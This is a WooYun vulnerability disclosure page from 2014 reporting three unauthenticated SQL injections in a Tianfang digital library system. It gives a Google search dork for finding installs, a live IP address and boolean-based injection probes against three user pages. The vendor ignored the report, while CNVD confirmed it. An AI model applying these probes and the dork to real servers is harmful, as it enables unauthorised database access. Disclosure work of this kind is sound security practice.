当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061678

漏洞标题：某通用图书馆系统三处sql注入（无需登录）

相关厂商：盛大天方科技有限公司

漏洞作者： what_news

提交时间：2014-05-21 12:22

修复时间：2014-08-16 12:24

公开时间：2014-08-16 12:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-21： 细节已通知厂商并且等待厂商处理中
2014-05-26： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-07-20： 细节向核心白帽子及相关领域专家公开
2014-07-30： 细节向普通白帽子公开
2014-08-09： 细节向实习白帽子公开
2014-08-16： 细节向公众公开

简要描述：

mssql注入三处

详细说明：

https://www.google.com.hk/search?newwindow=1&safe=strict&es_sm=91&biw=1153&bih=634&q=intitle%3A%E5%A4%A9%E6%96%B9%E6%9C%89%E5%A3%B0%E6%95%B0%E5%AD%97%E5%9B%BE%E4%B9%A6%E9%A6%86&oq=intitle%3A%E5%A4%A9%E6%96%B9%E6%9C%89%E5%A3%B0%E6%95%B0%E5%AD%97%E5%9B%BE%E4%B9%A6%E9%A6%86&gs_l=serp.12...444855.444855.0.445405.1.1.0.0.0.0.0.0..0.0....0...1c.2.44.serp..1.0.0.8rqx6v7LP-I


第一处

http://61.136.150.170:8090/user/user_history.aspx?id=14


正常显示

5217.png


http://61.136.150.170:8090/user/user_history.aspx?id=14 and 1=1


5218.png


http://61.136.150.170:8090/user/user_history.aspx?id=14 and 1=2


5219.png


http://61.136.150.170:8090/user/user_history.aspx?id=14 and exists (select * from sysobjects)


52116.png


第二处

http://61.136.150.170:8090/user/user_remark.aspx?id=1


52110.png


http://61.136.150.170:8090/user/user_remark.aspx?id=1 and 1=1


52112.png


http://61.136.150.170:8090/user/user_remark.aspx?id=1 and 1=2


52111.png


第三处

http://61.136.150.170:8090/user/user_news.aspx?id=1


52114.png


http://61.136.150.170:8090/user/user_news.aspx?id=1 and 1=1


52115.png


http://61.136.150.170:8090/user/user_news.aspx?id=1 and 1=2


52113.png


漏洞证明：

漏洞证明如上

修复方案：

对参数进行处理

版权声明：转载请注明来源 what_news@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-08-16 12:24

厂商回复：

最新状态：

2014-05-26：CNVD确认并复现所述情况，由CNVD协调教育网处置涉及网站案例。

漏洞评价：

评论

  1. 2014-05-21 12:37 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    @疯狗 怎么走小产商了 wooyun.org/bugs/wooyun-2014-061599 这个都走大产商的 我跟着他提交的就走小产商 。。